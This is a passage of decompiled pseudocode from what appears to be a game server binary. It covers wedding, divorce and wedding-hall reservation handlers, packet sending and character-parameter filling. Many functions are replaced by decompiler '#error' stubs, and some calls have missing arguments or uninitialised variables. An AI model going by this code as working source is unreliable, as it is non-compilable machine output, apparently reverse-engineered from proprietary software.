"ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v18 = 0; if ( !(_S12_7 & 1) ) { _S12_7 |= 1u; stru_130DFC50.cmc_AllowMode = 6; atexit(_E13_12); } if ( !((1 << **((_BYTE **)v4 + 892)) & stru_130DFC50.cmc_AllowMode) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 93, 4993); LABEL_5: v14 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ"; goto LABEL_6; } switch ( (unsigned int)*((_BYTE *)v4 + 23372) >> 4 ) { default: goto LABEL_5; case 0u: v5 = ShineDateTime::operator<((ShineDateTime *)((char *)v4 + 23377), &chargeditemcheck); v6 = v4; if ( !v5 ) { v15 = 4994; LABEL_12: (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v6, 8, 93, v15); v18 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } LODWORD(v7) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1072))(v4); if ( v7 < 0x16E360 ) { v15 = 4995; v6 = v4; goto LABEL_12; } v8 = gpp.pp_Buffer; if ( *((_BYTE *)v4 + 23402) >= 3u ) { *(_WORD *)gpp.pp_Buffer = 4237; *((_WORD *)v8 + 1) = *((_WORD *)v4 + 2); v16 = 13; *((_DWORD *)v8 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v13 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ : Packet Too Long"; *((_DWORD *)v8 + 2) = *(_DWORD *)((char *)v4 + 23397); v8[12] = 1; v12 = (unsigned __int8)ProtocolPacket::pp_SetPacketLen(&gpp, 13); } else { *(_WORD *)gpp.pp_Buffer = 4235; *((_WORD *)v8 + 1) = *((_WORD *)v4 + 2); v16 = 12; *((_DWORD *)v8 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v13 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ : Packet Too Long"; *((_DWORD *)v8 + 2) = *(_DWORD *)((char *)v4 + 23397); v12 = (unsigned __int8)ProtocolPacket::pp_SetPacketLen(&gpp, 12); } if ( !AssertClass::operator__(&shineassert, v12, v13, v16) ) { v9 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v9); } (*(void (__thiscall **)(void *, signed int, _DWORD))(*(_DWORD *)v4 + 1940))(v4, 1500000, 0); v14 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ"; LABEL_6: --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v14); return; case 4u: v10 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4237; *((_WORD *)v10 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v10 + 1) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v10 + 2) = *(_DWORD *)((char *)v4 + 23397); v10[12] = 1; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 13) ) { v11 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v11); v14 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ"; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ : Packet Too Long", 13); v14 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ"; } goto LABEL_6; case 1u: case 3u: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 93, 5000); v14 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ"; goto LABEL_6; } } //----- (0056C260) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_DIVORCE_REFUSE_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // edi@2 ZoneBaseSession *v6; // eax@5 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (*(_BYTE *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2392))(v4) + 8) & 0xF) == 2 ) { v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4239; if ( (*(_BYTE *)((*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2392))(v4) + 8) & 0xF0) == 64 ) { *((_DWORD *)v5 + 1) = *(_DWORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2392))(v4) + 33); *((_DWORD *)v5 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v5[12] = 1; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 13) ) { v6 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v6); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_DIVORCE_REFUSE_CMD : Packet Too Long", 13); } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ"); } //----- (0056C380) -------------------------------------------------------- #error "56C380: undefined or illegal type '#593' (funcsize=162)" //----- (0056C620) -------------------------------------------------------- #error "56C620: undefined or illegal type '#1265' (funcsize=13)" //----- (0056C650) -------------------------------------------------------- #error "56C650: undefined or illegal type '#593' (funcsize=163)" //----- (0056C870) -------------------------------------------------------- #error "56C870: undefined or illegal type '#593' (funcsize=157)" //----- (0056CAB0) -------------------------------------------------------- #error "56CAB0: undefined or illegal type '#593' (funcsize=109)" //----- (0056CC30) -------------------------------------------------------- #error "56CC30: undefined or illegal type '#593' (funcsize=68)" //----- (0056CD40) -------------------------------------------------------- #error "56CD40: undefined or illegal type '#593' (funcsize=53)" //----- (0056CE20) -------------------------------------------------------- #error "56CE20: undefined or illegal type '#593' (funcsize=106)" //----- (0056CFC0) -------------------------------------------------------- #error "56CFC0: undefined or illegal type '#593' (funcsize=72)" //----- (0056D0F0) -------------------------------------------------------- #error "56D0F0: undefined or illegal type '#593' (funcsize=85)" //----- (0056D240) -------------------------------------------------------- #error "56D240: undefined or illegal type '#593' (funcsize=85)" //----- (0056D390) -------------------------------------------------------- #error "56D390: undefined or illegal type '#593' (funcsize=72)" //----- (0056D4C0) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_CHAR_WEDDING_DIVORCE_CANCEL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { char *v3; // ST04_4@2 char *v4; // eax@2 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_CHAR_WEDDING_DIVORCE_CANCEL_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_CHAR_WEDDING_DIVORCE_CANCEL_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_DWORD *)&netcmd[4].protocol ) { v3 = gpp.pp_Buffer; *(_DWORD *)(gpp.pp_Buffer + 5) = *(_DWORD *)&netcmd[2].protocol; ZoneRingPacketRefreshWeddingInfo::zrpb_Request( &zonringpack_refresh_weddinginfo, *(_DWORD *)&netcmd[2].protocol, (NETCOMMAND *)v3); v4 = gpp.pp_Buffer; *(_DWORD *)(gpp.pp_Buffer + 5) = *(_DWORD *)((char *)&netcmd[6].protocol + 1); ZoneRingPacketRefreshWeddingInfo::zrpb_Request( &zonringpack_refresh_weddinginfo, *(_DWORD *)((char *)&netcmd[6].protocol + 1), (NETCOMMAND *)v4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GameDBSession::gds_NC_CHAR_WEDDING_DIVORCE_CANCEL_ACK"); } //----- (0056D590) -------------------------------------------------------- #error "56D590: undefined or illegal type '#593' (funcsize=41)" //----- (0056D620) -------------------------------------------------------- #error "56D620: undefined or illegal type '#593' (funcsize=142)" //----- (0056D820) -------------------------------------------------------- #error "56D820: undefined or illegal type '#593' (funcsize=62)" //----- (0056D930) -------------------------------------------------------- #error "56D930: undefined or illegal type '#593' (funcsize=76)" //----- (0056DA50) -------------------------------------------------------- #error "56DA50: undefined or illegal type '#593' (funcsize=290)" //----- (0056DE40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_WeddingData(void *this, int wed) { void *v2; // ebx@1 bool v3; // zf@1 int v4; // ecx@3 int v5; // edx@3 AbnormalStateDictionary::AbState::AbStateStr *v6; // edi@7 SubAbStateInfo *v7; // eax@7 char *v8; // eax@12 int v9; // eax@14 char *v10; // [sp-4h] [bp-38h]@2 FunctionEntarance _; // [sp+10h] [bp-24h]@1 unsigned __int8 validName[4]; // [sp+14h] [bp-20h]@3 int v13; // [sp+18h] [bp-1Ch]@3 int v14; // [sp+1Ch] [bp-18h]@3 int v15; // [sp+20h] [bp-14h]@3 unsigned int v16; // [sp+24h] [bp-10h]@1 int v17; // [sp+30h] [bp-4h]@1 v2 = this; v16 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_WeddingData"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeddingData"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_WeddingData"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_WORD *)(wed + 6) == 0; v17 = 0; if ( v3 ) { PROTO_NC_CHAR_WEDDINGDATA_ACK::operator_((int)((char *)v2 + 23364), wed); v15 = 0; v14 = 0; v13 = 0; *(_DWORD *)validName = 0; StrUtil::ConvertToNormalName((char *)validName, (const char *)v2 + 23381); v4 = v13; v5 = v14; *(_DWORD *)((char *)v2 + 23381) = *(_DWORD *)validName; *(_DWORD *)((char *)v2 + 23393) = v15; *(_DWORD *)((char *)v2 + 23385) = v4; *(_DWORD *)((char *)v2 + 23389) = v5; switch ( *((_BYTE *)v2 + 23372) & 0xF ) { case 1: Checker::ApplicationLimit(); break; case 2: v6 = AbnormalStateDictionary::AbState::as_FromIndex(&dic_abstate, STA_WEDDINGBUFF); (*(void (__thiscall **)(void *, void *, ABSTATEINDEX, signed int, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, _DWORD, signed int, signed int, _DWORD))(*(_DWORD *)v2 + 1584))( v2, v2, v6->index->AbStataIndex, 1, v6, clockwatch.cw_CurrTick, 0, -1, 1000000000, 0); ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v2, v6->index->AbStataIndex); v7 = v6->subabstate[1].assa_info; if ( v7 ) { (*(void (__thiscall **)(void *, ABSTATEINDEX, unsigned int, signed int))(*(_DWORD *)v2 + 1004))( v2, v6->index->AbStataIndex, v7->KeepTime, 1); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet( v2, v6->index->AbStataIndex, v6->subabstate[1].assa_info->KeepTime, 1); } Checker::DivorceLimit(); if ( (*((_BYTE *)v2 + 23372) & 0xF0) == 64 ) (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v2 + 776))(v2, 8, 93, 4996); break; case 3: Checker::DelayLimit(); break; } v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4225; memcpy(v8 + 2, (char *)v2 + 23364, 0x27u); *((_WORD *)v8 + 1) = *((_WORD *)v2 + 2); *((_DWORD *)v8 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 41) ) { v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v9 + 12))(v9, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_WeddingData : Packet Too Long", 41); } v17 = -1; v10 = "ShineObjectClass::ShinePlayer::so_ply_WeddingData"; } else { v17 = -1; v10 = "ShineObjectClass::ShinePlayer::so_ply_WeddingData"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v10); __security_check_cookie((unsigned int)&_ ^ v16); } //----- (0056E080) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_RESERV_REQ(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 unsigned __int16 v5; // ax@1 int v6; // edi@3 unsigned __int16 v7; // ax@8 char v8; // al@12 char v9; // al@13 unsigned int v10; // ebx@14 unsigned int v11; // ebp@14 char *v12; // ebx@14 char v13; // al@14 ZoneBaseSession *v14; // eax@15 unsigned __int16 v15; // [sp-8h] [bp-30h]@9 char *v16; // [sp-4h] [bp-2Ch]@2 unsigned __int16 v17; // [sp-4h] [bp-2Ch]@9 FunctionEntarance _; // [sp+10h] [bp-18h]@1 __time64_t ReservedTime; // [sp+14h] [bp-14h]@1 int v20; // [sp+24h] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_RESERV_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_RESERV_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_RESERV_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v20 = 0; ReservedTime = 0i64; v5 = Checker::WhenReserve(); if ( v5 ) { ProposeResult((#593 *)v4, *(_WORD *)(v4 + 4), v5); v16 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_RESERV_REQ"; LABEL_20: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v16); return; } v6 = (int)ShineObjectManager::som_FindPlayer(&shineobjmanager, *(_DWORD *)(v4 + 23397)); if ( !v6 || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v6 + 1228))(v6) != 2 || (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v4, v6) > 0x2710 ) { ReservResult((#593 *)v4, 0x1305u, 0i64); v16 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_RESERV_REQ"; goto LABEL_20; } if ( !ShineDateTime::operator>((ShineDateTime *)(v4 + 23377), &chargeditemcheck) ) { ReservResult((#593 *)v4, 0x1304u, 0i64); v20 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } v7 = Checker::WhenReservePartner(); if ( v7 ) { v17 = v7; v15 = *(_WORD *)(v4 + 4); LABEL_18: ProposeResult((#593 *)v4, v15, v17); v20 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } if ( !WeddingHall::wh_Reserv(&weddinghall, (#593 *)v4, (#593 *)v6, &ReservedTime) ) { ReservResult((#593 *)v4, 0x1306u, ReservedTime); v20 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } ShineObjectClass::ShinePlayer::sp_MakeItem((void *)v4, *(_WORD *)(v4 + 4), 10, unk_131DF0FA, 0xAu); if ( !v8 || (ShineObjectClass::ShinePlayer::sp_MakeItem((void *)v6, *(_WORD *)(v6 + 4), 10, unk_131DF0FA, 0xAu), !v9) ) { v17 = 4874; v15 = *(_WORD *)(v4 + 4); goto LABEL_18; } (*(void (__thiscall **)(int, signed int, _DWORD))(*(_DWORD *)v4 + 1940))(v4, 200000, 0); v10 = HIDWORD(ReservedTime); v11 = ReservedTime; ReservResult((#593 *)v4, 0x1300u, ReservedTime); ReservResult((#593 *)v6, 0x1300u, __PAIR__(v10, v11)); v12 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 1629; *(_DWORD *)(v12 + 2) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); *(_DWORD *)(v12 + 6) = (*(int (__thiscall **)(int))(*(_DWORD *)v6 + 836))(v6); v13 = ProtocolPacket::pp_SetPacketLen(&gpp, 10); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v13, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_RESERV_REQ : Packet Too Long", 10) ) { v14 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gamelog); ProtocolPacket::pp_SendPacket(&gpp, v14); } v20 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (0056E370) -------------------------------------------------------- #error "56E370: undefined or illegal type '#1265' (funcsize=144)" //----- (0056E580) -------------------------------------------------------- #error "56E580: undefined or illegal type '#1265' (funcsize=130)" //----- (0056E7A0) -------------------------------------------------------- void __thiscall WeddingHall::wh_Routine(WeddingHall *this) { WeddingHall *v1; // esi@1 char v2; // bl@1 unsigned int v3; // ST04_4@4 char *v4; // edi@10 char *v5; // [sp-4h] [bp-24h]@9 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WeddingHall::wh_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WeddingHall::wh_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; if ( !v1->Reserved ) goto LABEL_13; if ( v1->Started || ShineDateTime::operator>(&v1->EnteringStart, &chargeditemcheck) ) { if ( !ShineDateTime::operator>(&v1->WeddingEnd, &chargeditemcheck) ) { v1->Reserved = 0; v1->Started = 0; } goto LABEL_13; } v3 = v1->Groom.RegistNumber; v1->Started = 1; if ( WeddingHall::wh_RecallCouple(v1, v3) ) v2 = 1; if ( WeddingHall::wh_RecallCouple(v1, v1->Bride.RegistNumber) ) ++v2; if ( v2 != 2 ) { v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8277; v4[2] = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); *(_WORD *)(v4 + 3) = -1; *(_DWORD *)(v4 + 5) = -1; *(_DWORD *)(v4 + 9) = v1->Groom.RegistNumber; *(_DWORD *)(v4 + 13) = v1->Bride.RegistNumber; v4[17] = v2; ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 18); LABEL_13: v5 = "WeddingHall::wh_Routine"; goto LABEL_14; } WeddingHall::wh_Start(&weddinghall); v5 = "WeddingHall::wh_Routine"; LABEL_14: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v5); } //----- (0056E8E0) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_NC_ACT_WEDDING_COUPLE_ENTRANCE_RNG(ZoneListenSession *this, NETCOMMAND *netcmd) { char v2; // bl@1 char *v3; // eax@3 ZoneBaseSession *v4; // eax@5 char *v5; // eax@11 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneListenSession::zls_NC_ACT_WEDDING_COUPLE_ENTRANCE_RNG"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_NC_ACT_WEDDING_COUPLE_ENTRANCE_RNG"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; if ( LOBYTE(netcmd[1].protocol) == ZoneServer::zs_worlddata(&zoneserver)->nZoneNo ) { if ( HIBYTE(netcmd[8].protocol) ) { WeddingHall::wh_Start(&weddinghall); } else { v3 = gpp.pp_Buffer; weddinghall.Reserved = 0; unk_130DFC59 = 0; *(_WORD *)gpp.pp_Buffer = 1631; *(_DWORD *)(v3 + 2) = *(_DWORD *)((char *)&netcmd[4].protocol + 1); *(_DWORD *)(v3 + 6) = *(_DWORD *)((char *)&netcmd[6].protocol + 1); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v4 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gamelog); ProtocolPacket::pp_SendPacket(&gpp, v4); } else { AssertClass::ac_AssertFail(&shineassert, "WeddingHall::wh_Cancel : Packet Too Long", 10); } } } else { if ( WeddingHall::wh_RecallCouple(&weddinghall, *(_DWORD *)((char *)&netcmd[4].protocol + 1)) ) v2 = 1; if ( WeddingHall::wh_RecallCouple(&weddinghall, *(_DWORD *)((char *)&netcmd[6].protocol + 1)) ) ++v2; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8277; v5 += 2; *(_DWORD *)v5 = *(_DWORD *)&netcmd[1].protocol; *((_DWORD *)v5 + 1) = *(_DWORD *)&netcmd[3].protocol; *((_DWORD *)v5 + 2) = *(_DWORD *)&netcmd[5].protocol; *((_DWORD *)v5 + 3) = *(_DWORD *)&netcmd[7].protocol; v5[15] += v2; ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 18); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneListenSession::zls_NC_ACT_WEDDING_COUPLE_ENTRANCE_RNG"); } //----- (0056EA60) -------------------------------------------------------- void __thiscall WorldManagerSession::WorldManagerSession(WorldManagerSession *this) { WorldManagerSession *v1; // esi@1 v1 = this; ZoneBaseSession::ZoneBaseSession(&this->baseclass_0); v1->baseclass_0.m_Connected_World = 0; v1->baseclass_0.m_Connected_Zone = 0; v1->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&WorldManagerSession::_vftable_; v1->baseclass_0.m_Connected_Server_ID = 5; } // 678A44: using guessed type int (__stdcall *WorldManagerSession___vftable_)(int interval); //----- (0056EA90) -------------------------------------------------------- void __thiscall WorldManagerSession::_WorldManagerSession(WorldManagerSession *this) { this->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&WorldManagerSession::_vftable_; ZoneBaseSession::_ZoneBaseSession(&this->baseclass_0); } // 678A44: using guessed type int (__stdcall *WorldManagerSession___vftable_)(int interval); //----- (0056EAA0) -------------------------------------------------------- ItemBag *__thiscall ShineObjectClass::ShineObject::so_ply_CheckDamageAbsorption(CharacterInventoryManager *this, CharacterInventory *ci) { return (ItemBag *)ci; } //----- (0056EAB0) -------------------------------------------------------- void __thiscall SocketBundle::sb_Varification(SocketBundle *this, GameDBSession *sock) { signed int v2; // edi@1 GameDBSession *v3; // eax@1 DebugLogging *v4; // esi@4 _iobuf *v5; // eax@6 _iobuf *v6; // eax@11 v2 = 0; v3 = (GameDBSession *)this->sb_SocketStr; do { ++v2; if ( v3 == sock ) { *((_BYTE *)&this->sb_ReconnectInterval + 264 * v2) = 1; return; } v3 = (GameDBSession *)((char *)v3 + 264); } while ( v2 < 4 ); v4 = DebugLogging::operator<<(&SocketMultiplicateLog, "Varification error"); if ( DebugLogging::dl_ActivAll ) { if ( v4->dl_Activ ) { DebugLogging::dl_FilePoint(v4); v5 = v4->dl_FilePointer; if ( v5 ) fprintf(v5, "%d"); } if ( DebugLogging::dl_ActivAll && v4->dl_Activ ) { if ( v4->dl_FilePointer ) { v6 = DebugLogging::dl_FilePoint(v4); fputc(10, v6); fflush(v4->dl_FilePointer); fclose(v4->dl_FilePointer); v4->dl_FilePointer = 0; } } } } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (0056EB80) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_DummyFunction(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionEntarance _; // [sp+4h] [bp-54h]@1 char buf[64]; // [sp+8h] [bp-50h]@1 unsigned int v5; // [sp+48h] [bp-10h]@1 int v6; // [sp+54h] [bp-4h]@1 v5 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "WorldManagerSession::wms_DummyFunction"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WorldManagerSession::wms_DummyFunction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_DummyFunction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = 0; sprintf(buf, "%d/%d:%d"); AssertClass::ac_AssertFail(&shineassert, "WorldManagerSession::wms_DummyFunction", buf); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::wms_DummyFunction"); __security_check_cookie((unsigned int)&_ ^ v5); } //----- (0056EC70) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_fill_CHAR_PARAMETER_DATA(void *this, int param) { void *v2; // edi@1 unsigned __int8 v3; // al@1 unsigned __int8 v4; // al@1 unsigned __int16 v5; // bx@1 int v6; // eax@1 int v7; // eax@2 unsigned __int16 v8; // bx@4 int v9; // eax@4 int v10; // eax@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_fill_CHAR_PARAMETER_DATA"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_fill_CHAR_PARAMETER_DATA"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v2 + 52))(v2, 0); v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1236))(v2); *(_DWORD *)param = *(&shineparam.scp_param.PrisonTime + 2 * v3); *(_DWORD *)(param + 4) = *((_DWORD *)&shineparam.scp_param.LostExpLevel + 2 * v3); v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1236))(v2); *(_DWORD *)(param + 8) = LODWORD(shineparam.scp_param.nextexp[v4]); *(_DWORD *)(param + 12) = HIDWORD(shineparam.scp_param.nextexp[v4]); *(_DWORD *)(param + 16) = *((_DWORD *)v2 + 965); *(_DWORD *)(param + 20) = *((_DWORD *)v2 + 1685); *(_DWORD *)(param + 24) = *((_DWORD *)v2 + 966); *(_DWORD *)(param + 28) = *((_DWORD *)v2 + 1686); *(_DWORD *)(param + 32) = *((_DWORD *)v2 + 967); *(_DWORD *)(param + 36) = *((_DWORD *)v2 + 1687); *(_DWORD *)(param + 40) = *((_DWORD *)v2 + 968); *(_DWORD *)(param + 44) = *((_DWORD *)v2 + 1688); *(_DWORD *)(param + 56) = *((_DWORD *)v2 + 969); *(_DWORD *)(param + 60) = *((_DWORD *)v2 + 1689); *(_DWORD *)(param + 64) = *((_DWORD *)v2 + 970); *(_DWORD *)(param + 68) = *((_DWORD *)v2 + 1690); *(_DWORD *)(param + 72) = *((_DWORD *)v2 + 971); *(_DWORD *)(param + 76) = *((_DWORD *)v2 + 1691); *(_DWORD *)(param + 80) = *((_DWORD *)v2 + 972); *(_DWORD *)(param + 84) = *((_DWORD *)v2 + 1692); *(_DWORD *)(param + 88) = *((_DWORD *)v2 + 973); *(_DWORD *)(param + 92) = *((_DWORD *)v2 + 1693); *(_DWORD *)(param + 96) = *((_DWORD *)v2 + 974); *(_DWORD *)(param + 100) = *((_DWORD *)v2 + 1694); *(_DWORD *)(param + 104) = *((_DWORD *)v2 + 975); *(_DWORD *)(param + 108) = *((_DWORD *)v2 + 1695); *(_DWORD *)(param + 112) = *((_DWORD *)v2 + 976); *(_DWORD *)(param + 116) = *((_DWORD *)v2 + 1696); *(_DWORD *)(param + 120) = *((_DWORD *)v2 + 977); *(_DWORD *)(param + 124) = *((_DWORD *)v2 + 1697); *(_DWORD *)(param + 128) = *((_DWORD *)v2 + 978); *(_DWORD *)(param + 132) = *((_DWORD *)v2 + 1698); *(_DWORD *)(param + 136) = *((_DWORD *)v2 + 979); *(_DWORD *)(param + 140) = *((_DWORD *)v2 + 1699); *(_DWORD *)(param + 200) = 0; *(_DWORD *)(param + 196) = 0; *(_DWORD *)(param + 208) = 0; *(_DWORD *)(param + 204) = 0; *(_DWORD *)(param + 216) = 0; *(_DWORD *)(param + 212) = 0; *(_DWORD *)(param + 224) = 0; *(_DWORD *)(param + 220) = 0; *(_DWORD *)(param + 164) = 0; *(_DWORD *)(param + 168) = 0; *(_DWORD *)(param + 172) = 0; *(_DWORD *)(param + 176) = 0; *(_DWORD *)(param + 180) = 0; *(_DWORD *)(param + 184) = 0; *(_DWORD *)(param + 188) = 0; *(_DWORD *)(param + 192) = 0; *(_DWORD *)(param + 144) = 